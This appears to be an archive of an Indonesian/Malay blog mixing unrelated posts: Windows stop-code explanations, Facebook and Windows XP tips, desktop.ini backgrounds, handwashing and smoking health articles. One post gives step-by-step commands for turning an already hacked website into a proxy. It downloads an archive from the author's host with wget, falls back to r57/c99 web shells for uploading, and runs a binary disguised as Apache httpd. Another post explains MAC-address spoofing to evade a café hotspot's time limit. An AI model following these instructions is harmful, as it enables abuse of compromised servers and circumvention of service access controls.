Stop 0x0000002E or DATA BUS ERROR – Masalah ini disebabkan oleh memori parity yang berpunca dari kerosakan RAM, cache pada systemboard, Level 2 cache atau memori pada kad grafik. Selain daripada itu berkemungkinan juga disebabkan oleh masalah hard disk atau virus.
Stop 0x0000003F or NO MORE SYSTEM PTES – Masalah berpunca dari penggunaan driver yang tidak sesuai dengan sistem operasi atau penggunaan memori yang melampaui kemampuan sistem. Tentukan sistem tidak menggunakan hard disk yang rosak. Selain daripada itu gunakan disk fragmentation dan tentukan aplikasi yang digunakan adalah sesuai dengan sistem operasi.
Stop 0x0000001E or IRQL NOT LESS OR EQUAL - Masalah ini berlaku disebabkan proses atau driver cuba mendapatkan akses ke ruang memori atau IRQ level yang tidak diperuntukan kepadanya. Punca masalah ini adalh software (seperti games) atau hardware yang tidak compatible.
Stop 0x00000024 or NTFS FILE SYSTEM or 0x23 – Masalah ini berkemungkinan besar disebabkan oleh driver NTFS.sys yang digunakan untuk mendapatkan akses ke atas failing system NTFS. Punca masalah ini adalah filing system yang telah corupt.
Stop 0x00000050 or PAGE FAULT IN NONPAGED AREA – Masalah disebabkan oleh data yang sepatutnya berada di dalam memori tidak dapat di lokasi yang sepatutnya. Punca maslaah berkemungkinan disebabkan oleh kerosakan RAM, L2 cache pada systemboard, memori pada kad grafik, aplikasi yang tidak compatible atau aktiviti virus.
Stop 0x00000077 or KERNEL STACK INPAGE ERROR – Malalah ini disebabkan oleh data yang perlu diproses tidak terdapat di lokasi virtual memory (pagefile.sys) seperti yang sepatutnya. Punca masalah berkemungkinan disebabkan loleh kerosakan hard disk, data corrupt atau masalah virus.
Stop 0x00000079 or MISMATCHED HAL – Masalah ini disebabkan oleh hardware abstraction layer (HAL) dan kernel semasa yang tidak sepadan. Selain dari itu ia mungkin juga berpunca dari penggunaan processor yang todak sepadan. Tentukan yang penggunaan konfigurasi ACPI (Advanced Configuration and Power Interface) yang sesuai.ACPI membolehkan system operasi, pengurusan suhu computer dan penggunaan kuasa letrik/ bateri dikendalikan.
Stop 0x0000007A or KERNEL DATA INPAGE ERROR – Punca masalah adalah bersamaan dengan error Stop 0x00000077 dengan pengecualian dari masalah virus.
Stop 0x0000007B or INACCESSIBLE BOOT DEVICE – Masalah berpunca dari system operasi tidak lagi mampu mengenalpasti system partition atau boot volune ketika bootup. Punca masalah adalah penggunaan driver storage media yang tidak sesuai. Selain itu boleh juga disebabkan oleh masalah bootvirus. Tentukan konfigurasi fail boot.ini tidak bermasalah.
Stop 0x0000007F or UNEXPECTED KERNEL MODE TRAP - Masalah disebabkan oleh aplikasi atau hardware. Tentukan aplikasi atau hardware yang baru digunakan sesuai dengan system operasi.
Stop 0x0000009F or DRIVER POWER STATE FAILURE – Masalah berkemungkinan berpunca dari penggunaan driver yang tidak sesuai.
Stop 0xBE or ATTEMPTED WRITE TO READONLY MEMORY – Masalah berkemungkinan berpunca dari penggunaan driver yang tidak sesuai.
Stop 0xC2 or BAD POOL CALLER – Masalah berpunca dari penggunaan driver yang bermasalah atau terdapat masalah bug pada system operasi disebabkan penggunaan aplikasi yang tidak sesuai.
Stop 0x000000CE or
DRIVER UNLOADED WITHOUT CANCELLING PENDING OPERATION – Masalah berpunca dari penggunaan driver yang bermasalah atau terdapat masalah bug pada system operasi disebabkan penggunaan aplikasi yang tidak sesuai.
Stop 0x000000D1 or DRIVER IRQL NOT LESS OR EQUAL – Masalah disebabkan oleh system yang cuba menggunakan proses yang tidak diperuntukkan kepadanya. Ia mungkin berpunca dari penggunaan driver yang tidak sesuai atau bug yang disebsbkan oleh aplikasi.
Stop 0x00000021A or STATUS SYSTEM PROCESS TERMINATED – Masalah mungkin berpunca dari penggunaan system operasi yang tidak sah. Ia juga mungkin berpunca dari konfigurasi permission yang tidak betul lalu menyebabkan sistem tidak lagi mempunyai akses ke fail atua folder.
Stop 0x000000221 or STATUS IMAGE CHECKSUM MISMATCH - Masalah berpunca dari driver, file system atau paging file yang telah rosak. Kerosakan RAM boleh juga menjadi punca masalah.
Stop 0x000000D8 or DRIVER USED EXCESSIVE PTES – Masalah disebabkan driver yang cuba mendapatkan peruntukan memori yang besar. Tentukan hard disk mempunyai ruang yang mencukupi dan fragmenting telah dibuat.
Stop 0x0000002EA or THREAD STUCK IN DEVICE DRIVER - Masalah disebabkan oleh driver kad grafik. Punca maslaah adalah kerosakan kad grafik atau driver kad grafik yang tidak sesuai digunakan.
Stop 0x000000ED or UNMOUNTABLE BOOT VOLUME – Masalah disebabkan penggunan cable hard disk yang tidak sesuai dengan teknologi hard disk yang digunakan.
Stop 0x000000F2 or HARDWARE INTERRUPT STORM - Masalah berkemungkinan berpunca dari IRQ conflict yang berkaitan dengan hardware seperti port serial, parallel atau kad grafik PCI.
4.26.2010
Pesan error pada komputer
Membuat Proxy di web
Sudah ga asing lagi kan ama yang namanya proxy? ya.. proxy adalah sebuah mirror yang penggunaannya ditujukan untuk sebuah privacy ato gampangnya untuk menyamarkan ip address kita. Kali ini aku akan menjelaskan sedikit cara membuat proxy melalui shell dari sebuah web hasil injectkan.
Aku anggap kamu sudah bisa inject web ya.... Mari kita mulai..
* masuk ke shell kamu
* cari direktori yang memberikan permission 777 dengan command “find / -perm 777 -type d” jika ga ada, langsung aja menuju direktori /tmp ato /var/tmp
* wget file proxynya di web geocities aku. commandnya “wget indramayu.zzl.org/proxy.tgz” jika ga berhasil, coba pake command lwp-download tapi dengan url yang lengkap, commandnya “lwp-download http://www.indramayu.zzl.org/proxy.tgz”
* kalo ga bisa juga, pakailah script injectkan r57 ato c99 sehingga ada fitur uploadnya. dan uploadlah file psynya dengan fitur tersebut. jika belum punya filenya, donlot aja dari indramayu.zzl.org/proxy.tgz
* aku anggap udah terupload ke server ya.. maka harus diextract dulu file tersebut dengan command “tar -zvxf proxy.tgz”
* setelah diextract, masuk ke direktori pro dengan command “cd pro”
* eksekusi file xh, commandnya adalah “./xh -s "/usr/apache/httpd" ./prox -a -s -d9999? dimana 9999 adalah portnya. kamu bisa menggantinya menurut keinginan kamu
* cek hidup atau tidaknya proxy kamu di IRC channel yang terdapat bot untuk cek ip. contohnya adalah #indramayu, #ICChackerlink dan masih banyak lagi
* command untuk ceknya biasanya bervariasi. tapi kurang lebih seperti ini “!pc ip port” contohnya”!ip 8.6.101.24 9999”
* untuk mengetahui ip dari web inject kamu, ketik “/dns domainweb” di IRC. contohnya “/dns k4l0nk.com” maka cek di status box ip yang keluar
Jebol Password hotspot
Seperti kita ketahui, HotSPOT atau tempat akses internet Wireless dengan standard 802.11b/g sudah bukan barang asing lagi ditelinga kita, dan bila kita berpergian di tempat publik seperti Mall, Cafe, hotel dan kantor, dengan mudahnya kita menemukan fasilitas tersebut.Namun sangat disayangkan tidak semua penyedia layanan menawarkan fasilitas Internet Wireless dengan gratis, atau kalaupun gratis, sangatlah terbatas.
Normal 0 false false false MicrosoftInternetExplorer4
Salah satu proteksi yang digunakan penyedia layanan wireless adalah dengan membatasi akses internet berdasarkan MAC Address.
Apa itu MAC Adress ?
In computer networking a Media Access Control address (MAC address) or Ethernet Hardware Address (EHA) or hardware address or adapter address is a quasi-unique identifier attached to most network adapters (NICs).
Oke jadi kesimpulannya MAC Address adalah nomer unik yang membedakan setiap perangkat jaringan yang terpasang dikomputer kita.
Contoh kasus adalah HotSPOT di Food Café “ X “. Ini adalah tempat favorit saya berinternet selain di Banjarmasin.
Pada HotSPOT FoodCourt CAFÉ “X”( sorry saya tidak menyebutkan aslinya) di Banjarmasin, sang penyedia layanan Internet Wireless, membatasi penggunaan Internet gratis hanya selama 2 Jam, setelah itu anda tidak dapat mengakses internet lagi, dan baru akan dapat mengakses lagi di hari esok. Jenis proteksi yang digunakan adalah MAC Address Filtering.
Kondisi yang saya hadapi adalah : saya ingin mengerjakan tugas, update web,blogging,FB dll di food court itu sembari makan dan minum dan saya membutuhkan akses internet.Untuk menyelesaikan tugas, saya membutuhkan waktu lebih dari 2 jam.
Bagaimana menjebol Proteksi dengan MAC Address ?
Ada sebuah tools yang sangat bermanfaat untuk anda.Tools itu bernama K-MAC.Anda dapat mendownloadnya disini : http://www.neset.com/download/?k-mac.zip (atau kalo mau sudah saya sediakan di link download kategori free software
Dengan tools ini anda akan dapat mengubah MAC-Address anda secara instant dan apa artinya ? Anda dapat menjebol Proteksi MAC Address ! Setiap jatah akses internet anda habis dalam waktu 2 jam, yang anda perlu lakukan hanyalah mengubah MAC Address anda, dan lakukan koneksi kembali
4.18.2010
Kode Smiley Facebook Untuk Chating
Sering chating dengan teman di facebook? pasti ada yang terasa kurang dibandingkan bila kita chating menggunakan yahoo messenger yang mempunyai banyak smiley (emoticon). Sebenarnya facebook juga mempunyai smiley yang cukup banyak hanya saja pengguna facebook banyak yang tidak tahu kode untuk menampilkan smiley tersebut.Mau tambah asyik ngobrol dengan teman di facebook silakan tambahkan kode-kode smiley facebook berikut :
2 Cara Merubah Tampilan Layout Facebook
Bosan dengan tampilan facebook yang begitu-gitu saja tanpa variasi, tidak seperti friendster atau myspace yang bisa kita kostumisasi sesuai dengan kemauan kita. Kalau begitu coba yang satu ini, dengan cara ini kita dapat mengganti tampilan halaman facebook menjadi lebih bagus dan yang paling penting bisa dikostumisasi sendiri.
Aritkel ini saya buat untuk Anda yang suka dengan kostumisasi tampilan dan sekaligus memenuhi kebutuhan beberapa pengunjung yang menuju keblog ini melalui google dengan keyword tentang :
-cara mengganti layout facebook
-tutorial mengganti layout facebook
-merubah tampilan facebook
-mengubah tampilan facebook
Dan ternyata banyak sekali yang mencari artikrl tentang tampilan facebook. Setelah beberapa penelusuran website, blog dan group-group yang berisi tentang tutorial
mengganti layout facebook, saya menemukan 2 cara berbeda:
1. Merubah tampilan layout facebook dengan cara userstyles.org (untuk penguna mozila firefox)
-download add-ons mozzila
-klik "add to firefox", installasi and restart mozilla firefox
-pilih tampilan yang diinginkan disini
-klik tombol "Load into Stylish"
-save dan refresh halaman facebook Anda
2. Merubah tampilan layout facebook dengan cara yontoo.com (untuk penguna mozila firefox dan internet explorer)
-kunjungi website Yontoo
-pilih "Start Installation"
-install Add-ons dan restart mozila
-pasang aplikasi PageRage di facebook
-pilih tampilan yang diinginkan
-lihat profile anda
Cara no.1 hanya bekerja pada komputer sendiri yang sudah diinstal add-on stylish
dan
Cara no.2 hanya bekerja pada pada komputer yang sudah diinstal add-on Yontoo dan pemilik facebook memasang aplikasi pagerege. Hal ini memungkinkan orang lain dapat melihat tampilan facebook kita jika mereka melakukan hal yang sama.
Sampai saat ini masih belum ada cara mengubah tampilan facebook untuk dilihat semua orang
Ingat Facebook tidak sama seperti Myspace/Friendster yang secara resmi dapat mengubah tampilannya sesuai dengan keinginan kita. Cara ini hanya akal-akalan dari pencipta add-on yang kreatif.
untuk mengembalikan (remove) tampilan facebook seperti semula baca disini
4.16.2010
Menghapus Password Windows XP
Selama anda hanya orang satu-satunya yang menggunakan pc atau laptop anda, mendelete password Windows XP akan memberikan keuntungan tersendiri, karena secara otomatis Windows XP anda akan langsung bisa beroperasi, tanpa harus ada proses Log On sebelumnya. Tapi anda harus ingat, mendelete password Windows XP itu artinya anda telah membuka sebuah celah yang memungkinkan seseorang bisa menggunakan komputer anda dengan bebas, meski tanpa seizin anda sekalipun.
Mendelete password Windows XP anda memang bukanlah sesuatu yang aman, tapi bila anda mempunyai masalah dalam mengingat password atau anda yang sering lupa dengan password yang anda gunakan, langkah menghapus password Windows XP bisa menjadi sebuah pilihan yang bijak dan bisa menghindari anda dari masalah bila suatu saat anda tidak bisa menggunakan Windsws XP, karena anda lupa dengan password untuk Log on.
Inilah langkah sederhana dan mudah untuk menghapus password Windows XP anda.
1. Klik Start Menu kemudian klik Control Panel
2. Pada jendela Control Panel kemudian Klik link User Accounts (jika anda menggunakan tampilan Classic View pada Control Panel, tinggal klik ikon User Accounts)
3. Pada jendela “Pick an Account to Change”, klik Username Account anda
4. Setelah itu pada pilihan ”What do you want to change about your account?” anda tinggal pilih atau klik “Remove My Password”
5. Pada jendela yang muncul anda masukkan password anda yang sesuai dengan username anda. Langkah ini untuk mencegah, orang yang tidak berhak untuk menghapus password Windows XP anda.
6. Klik “Remove Password”
7. Setelah selesai kini anda bisa menutup jendela User Account dan Control Panel.
Selamat, sekarang saat anda akan menyalakan komputer, Windows XP anda akan langsung bisa digunakan, tanpa harus melalui proses Log On terlebih dahulu. Tapi sekali lagi perlu anda ingat, dengan menghapus password anda, itu artinya setiap orang bisa menggunakan komputer anda dan bisa mengakses file-file penting anda, tanpa seizin anda sekalipun.
4.14.2010
Menampilkan Foto di Blogger
Cara menampilkan foto di blogger yaitu kita harus upload foto tersebut di situs lain, baru kemudian kita link dari situs tersebut ke blog kita. Situs yang menyediakan upload gratis antara lain Photobucket.com dan imageshack.us, anda boleh yang mana saja sesuka anda.
Oke, kita ambil contoh mendaftar di photobucket.
Langkah pertama tentu buka Photobucket.com dan klik Joint Now, kemudian ketik user name dan pasword yang anda inginkan, lalu Next Step. kemudian ikuti langkah-langkah yang sudah disediakan sehingga anda berhasil mendaftar di situs tersebut. Dan bila anda berhasil maka akan keluar seperti ini:
Nah, sekarang silahkan anda upload foto / gambar anda, bisa juga buat folder baru pada gambar yang ditunjuk.
Langkah selanjutnya buka blogger anda, dan pilih bagian edit profil dan lihat bagian URL Foto ada kotak sebelah kanan yang kosong. Nah lalu anda kembali lagi ke Photobucket yang mana Foto tadi sudah anda upload. Foto tersebut akan tampil dibagian bawah halaman.
Lalu anda klik kotak Direct Link, dan Ctrl-C, kemudian berpindah ke blogger anda tadi, lalu klik di kotak Url Foto dan Ctrl-V atau paste. Jangan lupa Simpan Profil.
4.13.2010
Tutorial Membuat Background Pada Flashdisk atau Folder Drive
Anda pernah melihat Salah satu drive milik komputer teman anda memiliki background yang unik dengan gambar gambar yang menarik,…?
atau juga pada flash disk teman yang anda pinjam???
Tentu kita bertanya bagaimana sih caranya…..?
enak kalo teman kita itu mau kasih tau …klo gak bete sekali bukan….
Sebenarnya mudah sekali caranya untuk membuatnya…
klo teman kita ntuh gak mao kasih tau yah udah nih saya kasih tau caranya….
Langkah-langkah yang harus dilakukan :
1. Siapkan gambar yang paling kamu suka buat dipajang, contoh seperti : bunga.jpg
klo bisa ubah namanya menjadi lebih pendek biar tidak terlalu panjang nulisnya.
2. Letakkan file gambar tadi di root harddisk kamu atau flashdisk seperti c:\ atau namaflashdiskmu:\
3. buka editor teks yang paling kamu suka, kayak notepad (disaranin pake ini deh), Wordpad, Word, Notepad++ de el el.
4. klo sudah ketikkan kode ini di editor kamu :
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_Text=0×000000
IconArea_Image=namafilegambarkamu.jpg
Catatan:
IconArea_Image= ini diisi dengan nama file gambar kamu seperti: bunga.jpg / bunga.gif / bunga.png / bunga.bmp
disarankan pake yg format *.jpg saja, karena kompresi lebih baik tanpa mengurangi kualitas gambar.
contoh : disini penulis menggunakan bunga.jpg
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_Text=0×000000
IconArea_Image=bunga.jpg
IconArea_Text= ini biarkan saja, ini diubah jika kamu mau ganti warna huruf nya nanti.
5. Simpan kode tadi dengan nama desktop.ini dan letakkan pada root folder flashdisk atau harddisk kamu yang mau kamu ubah nantinya.
6. Selesai….coba refresh deh….wala jadi deh…….
Ini skren syut nya ….yang udah jadi
http://djaloe.files.wordpress.com/2007/08/bgjpg2-320.jpg?w=450
http://djaloe.files.wordpress.com/2007/08/bgjpgf320.jpg?w=450
Untuk mengganti warna huruf dapat mengubah kode dari :
IconArea_Text=0x000000
Silahkan kamu ubah nilai yang berwarna merah tersebut sesuka hati kamu deh, sambil bereksperimen, tapi jangan lupa backup dulu kode sebelumya, biar gak jadi berantakan hehehehe :) .
Penulis belum pernah mengubah 0x karena klo diubah sama saja kayaknya.
Klo kamu males nih saya kasih deh kode warnanya, silakan kopas (kopi paste) 6 buah nilai ini ke kode tadi:
CATATAN
——–
O = Huruf O
0 = Angka nol
Jangan salah OKe!!
IconArea_Text=0x____ (pilih salah satu warna pilihan ini,ingat “0x” jangan dihapus,kecuali untuk nilai angka baru dihapus)
FF00FF = Jingga / ungu
FF33FF = ungu terang
FF91FF = Ungu muda
FF62EE = Ungu sedang
d800e6 = Ungu gelap
9900cc
FFFF4B = Biru muda
FFFF81 = bIRU muda
33FF = Merah
33FFF4 = Kuning
00FFFF = Kuning sedang
51B11B = Hijau gelap
10BB61 = Hijau gelap2
00cc33
80FCA4 = Hijau muda
00FF00 = Hijau terang
DF280F = Biru tua
ff4321 = Biru terang
FF0000 = Biru
FFOOOO = Merah terang (O = BUKAN NOL)
8CCBDD = Coklat muda
140,203,221 = Coklat tua
Sebenarnya masih banyak lagi sih kodenya, tapi ini warna dasar saja, silakan kamu coba ubah sendiri ntar juga bisa. Saya menggunakan program Dot Color 3.0 untuk mencari kode warna, kamu bisa gunain color picker yang kamu suka , tergantung kesukaan anda deh…hehehe
Bagi yang kesulitan nih…saya kasih manual yanG dalam bentuk pdf.
Download File
TAMBAHAN :
bagi yang masih kesulitan atau sudah mencoba dan tetap gagal membuatnya bisa langsung menggunakan program background maker ini
Download Disini
update:
berhubung masih banyak yang nanyak saya coba buat yg sedikit mudah nih.
dengan menggunakan software BACKGROUND MAKER
Ikuti saja gambar dibawah ini…klik gambar untuk memperbesar.
1.buka programmnya
. Pilih NEXT sja deh
3.Pilih yang sudah dilingkari ya…
4. Pilih gambar sesuai selera, pilih dengan menkan tombol browse….
klo mau ganti warna teks tinggal ubah aja
5. Dah beres, liat hasilnya
kalo gambar gak sesuai bisa diatur sendiri dengan keinginan, tergantung resolusi monitor. semakin besar resolusi , semakin gede yang ukuran gambar yang diperlukan (resolusi gambarnya).
Maaf,imagehosting sebelumnya sudah gak ada, jadi saya pindahin lagi dan udah dibenerin.
4.12.2010
Cuci Tangan Anda Dengan Benar
Mengapa Harus Cuci Tangan?
Seseorang penderita flu menutup hidungnya dengan tangan saat bersin, kemudian memagang pegangan di bus, saat Anda memegang pegangan tersebut, bakteri flu dapat segera berpindah ke tangan Anda dan apabila Anda memegang hidung atau mulut, kuman tersebut dapat masuk ke dalam tubuh kita. Itulah gambaran betapa mudahnya kuman penyakit berpindah dari satu orang ke orang lain. Penyakit seperti diare, cacingan, Infeksi Saluran Pernapasan Akut (ISPA), TBC bahkan penyakit yang mematikan seperti SARS, flu burung (H5N1) dan flu babi (H1N1) dapat dicegah dengan mencuci tangan secara benar. Sayangnya, banyak orang yang meremahkan kebiasaan sehat ini dan mengganggapnya tidak penting. Padahal dengan membiasakan mencuci tangan dengan baik, hidup Anda dan keluarga dapat lebih sehat.
Cara Mencuci Tangan yang Benar
Mencuci tangan yang benar harus menggunakan sabun dan di bawah air yang mengalir. Sedangkan langkah-langkah teknik mencuci tangan yang benar adalah sebagai berikut.
* Basahi tangan dengan air di bawah kran atau air mengalir.
* Ambil sabun cair secukupnya untuk seluruh tangan. Akan lebih baik bila sabun mengandung antiseptik.
* Gosokkan kedua telapak tangan.
* Gosokkan sampai ke ujung jari.
* Telapak tangan tangan menggosok punggung tangan kiri (atau sebaliknya) dengan jari-jari saling mengunci (berselang-seling) antara tangan kanan dan kiri. Gosok sela-sela jari tersebut. Lakukan sebaliknya.
* Letakkan punggung jari satu dengan punggung jari lainnya dan saling mengunci.
* Usapkan ibu jari tangan kanan dengan telapak kiri dengan gerakan berputar. Lakukan hal yang sama dengan ibu jari tangan kiri.
* Gosok telapak tangan dengan punggung jari tangan satunya dengan gerakan kedepan, kebelakang dan berputar. Lakukan sebaliknya.
* Pegang pergelangan tangan kanan dengan tangan kiri dan lakukan gerakan memutar. Lakukan pula untuk tangan kiri.
* Bersihkan sabun dari kedua tangan dengan air mengalir.
* Keringkan tangan dengan menggunakan tissue dan bila menggunkan kran, tutup kran dengan tissue.
Mengeringkan dengan tissue lebih baik dibandingkan mengeringkan tangan menggunakan mesin pengering tangan yang umum ada di mal. Karena mesin pengering tangan yang dipakai secara umum menampung banyak bakteri yang dapat menularkan ke orang lain.
Kapan Saat Anda Mencuci Tangan?
Mencuci tangan umumnya dilakukan saat sebelum makan, sebelum menyiapkan makanan, setelah memegang daging mentah, sebelum dan setelah menyentuh orang sakit, sesudah menggunakan kamar mandi, setelah batuk atau bersin atau membuang ingus, setelah mengganti popok atau pembalut, sebelum dan setelah mengobati luka, setelah membersihkan atau membuang sampah, setelah menyentuh hewan atau kotoran hewan.
Anda juga sebaiknya mengajarkan kebiasaan baik mencuci tangan ini kepada anak Anda yang masih kecil. Seorang anak senang sekali mempelajari dan menyentuh segala sesuatu tanpa tahu apakah benda tersebut kotor atau tidak. Lalu memasukkan tangannya ke dalam mulut atau memakan makanan tanpa mencuci tangan. Akibatnya sang anak dapat menderita penyakit. Menurut penelitian, penyakit pembunuh anak nomor 1 di Indonesia adalah karena diare, padahal hal ini dapat dicegah dengan mengajarkan anak untuk mencuci tangan.
Mengingat pentingnya cuci tangan, maka setiap tangga 15 Oktober dicanangkan sebagai Hari Cuci Tangan Sedunia. Biasakan diri dan keluarga Anda untuk mencuci tangan sekarang juga.
Mengapa Berhenti Merokok?
Merokok
Rokok telah menjadi benda kecil yang paling banyak digemari. Merokok telah menjadi gaya hidup bagi banyak pria dan wanita, bahkan termasuk anak-anak dan kaum remaja. Kebiasaan merokok telah mengakibatkan banyak penyakit dari gangguan pernapasan hingga kanker. Meski menyadari bahaya merokok, orang-orang di seluruh dunia masih terus mengisap belasan milyar batang rokok setiap harinya.
Jumlah perokok di Indonesia menduduki peringkat ketiga tertinggi di dunia. Jumlah perokok di negara-negara berkembang jauh lebih banyak dibanding jumlah perokok di negara maju. Angka yang sangat memprihatinkan mengingat akibat buruk dari merokok baru akan dirasakan dalam jangka panjang.
Kandungan Sebatang Rokok
Zat apa saja yang terdapat dalam sebatang rokok? Nikotin merupakan zat utama yang terdapat pada rokok. Namun, lebih dari 700 jenis bahan kimia tambahan kemungkinan digunakan oleh perusahaan rokok untuk menambah kenikmatan merokok. Beberapa bahan bahkan begitu beracun sehingga beberapa pabrik rokok besar biasanya akan memiliki standar yang tinggi untuk membuang bahan-bahan beracun yang sangat berbahaya tersebut.
Perokok pasif bisa mendapat dampak negatif yang lebih mengerikan jika asap rokok dihirup mereka.
Selain itu, asap rokok mengandung 4.000 zat kimia, termasuk arsenik, aseton, butan, karbon monoksida, dan sianida. Asap rokok yang dihirup oleh perokok maupun perokok pasif akan menganduk 43 zat yang diketahui menyebabkan kanker. Itu sebabnya bagi perokok pasif bisa mendapat dampak negatif yang lebih mengerikan jika asap rokok dihirup mereka.
Bahaya Rokok
Apa saja akibat buruk dari gaya hidup yang merusak kesehatan ini? Apa saja penyakit yang disebabkan karena merokok? Berikut ini beberapa penyakit dan dampak negatif yang disebabkan karena merokok:
*
Penyakit Jantung
Rokok juga merupakan salah satu penyebab utama serangan jantung. Kematian seorang perokok akibat penyakit jantung lebih banyak dibanding kematian akibat kanker paru-paru. Bahkan rokok rendah tar atau rendah nikotin tidak akan mengurangi risiko penyakit jantung. Karena beberapa dari rokok-rokok yang menggunakan filter meningkatkan jumlah karbon monoksida yang dihirup, yang membuat rokok tersebut bahkan lebih buruk untuk jantung daripada rokok yang tidak menggunakan filter.
Nikotin yang dikandung dalam sebatang rokok bisa membuat jantung Anda berdebar lebih cepat dan meningkatkan kebutuhan tubuh Anda akan oksigen. Asap rokok juga mengandung karbon monoksida yang beracun. Zat beracun ini berjalan menuju aliran darah dan sebenarnya menghalangi aliran oksigen ke jantung dan ke organ-organ penting lainnya. Nikotin dapat mempersempit pembuluh darah sehingga lebih memperlambat lagi aliran oksigen. Itu sebabnya para perokok memiliki risiko terkena penyakit jantung yang sangat tinggi.
*
Kanker Paru-Paru
Asap rokok dari tembakau mengandung banyak zat kimia penyebab kanker. Asap yang diisap mengandung berbagai zat kimia yang dapat merusak paru-paru. Zat ini dapat memicu terjadinya kanker khususnya pada paru-paru. Kanker paru-paru merupakan kanker yang paling umum yang diakibatkan oleh merokok. Penyebaran kanker paru-paru dalam tubuh terjadi secara senyap hingga menjadi stadium yang lebih tinggi. Dalam banyak kasus, kanker paru-paru membunuh dengan cepat.
*
Emfisema
Perokok berat yang sudah bertahun-tahun akan mengalami emfisema. Emfisema merupakan penyakit yang secara bertahap akan membuat paru-paru kehilangan elastisitasnya. Jika paru-paru kehilangan keelastikannya, maka akan sulit untuk mengeluarkan udara kotor. Tanda-tandanya adalah mulai mengalami kesulitan bernapas pada pagi dan malam hari. Lalu mudah terengah-engah. Tanda lainnya adalah sering mengalami flu berat, disertai dengan batuk yang berat, dan mungkin dengan bronkhitis kronis. Batuknya sering kali tidak berhenti dan menjadi kronis.
*
Lebih Cepat Tua
Hasil penelitian terhadap para perokok menunjukkan bahwa wajah para perokok pria maupun wanita lebih cepat keriput dibandingkan mereka yang tidak merokok. Proses penuaan dini tersebut meningkat sesuai dengan kebiasaan dan jumlah batang rokok yang dihisap. Penelitian tersebut menunjukkan bahwa para perokok berat memiliki keriput pada kulit hampir lima kali lipat dibandingkan orang yang tidak merokok. Bahkan proses penuaan dini sudah dimulai bagi para remaja yang merokok seperti kulit keriput, gigi menguning, dan nafas tak sedap.
*
Kerusakan Tubuh
Dampak negatif merokok tidak hanya membahayakan paru-paru, jantung, dan saluran pernapasan. Kebiasaan merokok menurut penelitian bisa merusak jaringan tubuh lainnya. Belasan penyakit yang berkaitan dengan penggunaan tembakau bahkan mencakup pneumonia (radang paru-paru), penyakit gusi, leukemia, katarak, kanker ginjal, kanker serviks, dan sakit pada pankreas. Penyebabnya karena racun dari asap rokok menyebar ke mana-mana melalui aliran darah. Merokok dapat mengakibatkan penyakit di hampir setiap organ tubuh.
Mengapa Berhenti Merokok?
Apakah Anda menyadari bahaya merokok? Akibat merokok terhadap kesehatan tubuh benar-benar merugikan. Menurut statistik, di seluruh dunia, jumlah perokok yang meninggal karena penyakit akibat merokok berjumlah hampir tiga kali jumlah orang yang meninggal karena alkohol dan narkoba. Bahkan jumlah perokok yang meninggal karena penyakit tersebut berjumlah enam kali lipat dibandingkan karena kecelakaan mobil. Selain itu, usia perokok biasanya 13 hingga 14 tahun lebih pendek daripada orang yang tidak merokok.
Setelah membaca fakta-fakta ini, apakah Anda akan menjadi seperti perokok yang meskipun telah membaca begitu banyak fakta mengerikan sehubungan dengan merokok kemudian memutuskan untuk berhenti membaca artikel tersebut? Atau Anda berani mengatakan tidak kepada rokok?
